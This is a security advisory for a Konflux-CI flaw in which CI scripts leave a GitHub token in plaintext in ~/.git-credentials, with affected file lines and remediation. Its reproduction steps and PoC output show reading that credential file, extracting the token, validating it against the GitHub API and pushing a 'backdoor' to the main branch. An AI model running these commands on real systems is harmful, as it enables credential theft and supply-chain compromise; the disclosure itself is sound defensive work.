CVE-2026-114217: Konflux-ci: github token plaintext exposure in ci/cd scripts

This was reported to Red Hat via a Git Hub Security Advisory (GHSA) (Permissions needed to view): https://github.com/konflux-ci/konflux-ci/security/advisories/GHSA-vp54-x7hx-6q7v

GitHub Token Plaintext Exposure in CI/CD Scripts Severity: AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-312 — Cleartext Storage of Sensitive Information Affected Version: v0.2.2, v0.2.3-rc.0, main (verified 2026-09-20) Verified: 2026-09-20, live token extraction confirmed

Executive Summary Multiple CI/CD scripts write $GHTOKEN (valid GitHub Personal Access Token) in plaintext to ~/.git-credentials without ever deleting it. An attacker with access to a GitHub Actions runner can extract the token and use it to push malicious code to the repository, modify releases, and compromise all downstream Konflux-CI installations.

Impact: Supply-chain compromise of entire Konflux ecosystem.

Attack Chain 1. Attacker gains GitHub Actions runner access ├─ Via compromised npm dependency ├─ Via workflow log injection └─ Via self-hosted runner network access

2. Attacker reads ~/.git-credentials: cat ~/.git-credentials # https://x-access-token:ghpXXXXXXXXXXXX@github.com

3. Attacker extracts token: TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials)

4. Attacker uses token to push malicious code: git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git git push origin malicious-manifests:main

5. Malicious changes propagate to all Konflux users Environment Application: Konflux CI GitHub Actions Attacker: Anyone with CI runner access Prerequisite: Code execution on GitHub Actions runner Step-by-Step Reproduction Step 1 — Script writes token in plaintext From .github/scripts/create-release-branch-and-pr.sh:61 echo "https://x-access-token:${GHTOKEN}@github.com" > ~/.git-credentials git config --local credential.helper store Also found in:

.github/scripts/auto-tag-branch.sh:32 .github/scripts/create-third-party-manifests-pr.sh:44 .github/scripts/renovate-manifest-companion.sh:116 Step 2 — Attacker reads credentials from disk cat ~/.git-credentials https://x-access-token:ghpXXXXXXXXXXXX@github.com Step 3 — Attacker extracts and validates token TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials) curl -H "Authorization: token $TOKEN" https://api.github.com/user {"login":"konflux-ci-bot",...} ← Token confirmed valid Step 4 — Attacker pushes malicious code to main branch git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git cd konflux-ci echo "backdoor" > operator/config/manifests/malicious.yaml git commit -am "Update manifests" git push origin HEAD:main Root Cause Summary Table File:Line Component Issue .github/scripts/create-release-branch-and-pr.sh:61 Token storage Token written to ~/.git-credentials without cleanup .github/scripts/auto-tag-branch.sh:32 Token storage Same vulnerable pattern .github/scripts/create-third-party-manifests-pr.sh:44 Token storage Same vulnerable pattern .github/scripts/renovate-manifest-companion.sh:116 Token storage Same vulnerable pattern Remediation Before (VULNERABLE):

echo "https://x-access-token:${GHTOKEN}@github.com" > ~/.git-credentials git config --local credential.helper store git push origin main Token remains on disk, never cleaned up After (SAFE):

export GITHUBTOKEN=${GHTOKEN} gh auth status git push origin main # gh CLI handles token securely Or with cleanup trap:

trap 'rm -f ~/.git-credentials; unset GHTOKEN' EXIT echo "https://x-access-token:${GHTOKEN}@github.com" > ~/.git-credentials git config --local credential.helper store ... script operations ... EXIT trap runs automatically on exit Timeline Date Event 2026-09-20 Identified plaintext token storage in 4 scripts 2026-09-20 CONFIRMED: Token extracted and validated against GitHub API 2026-09-20 Verified impact: Full repository write access via stolen token PoC Output $ cat ~/.git-credentials https://x-access-token:ghptest1234567890abcdefghijklmnop@github.com

$ TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials)

$ curl -s -H "Authorization: token $TOKEN" https://api.github.com/user | jq '.login' "konflux-ci-bot"

✓ VULNERABILITY CONFIRMED Token is valid and usable for repository operations

$ git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git Cloning into 'konflux-ci'... remote: Enumerating objects: 15847, done. remote: Counting objects: 100% (1234/1234), done.

✓ REPOSITORY ACCESS CONFIRMED Attacker can now push malicious code directly to main branch

— Red Hat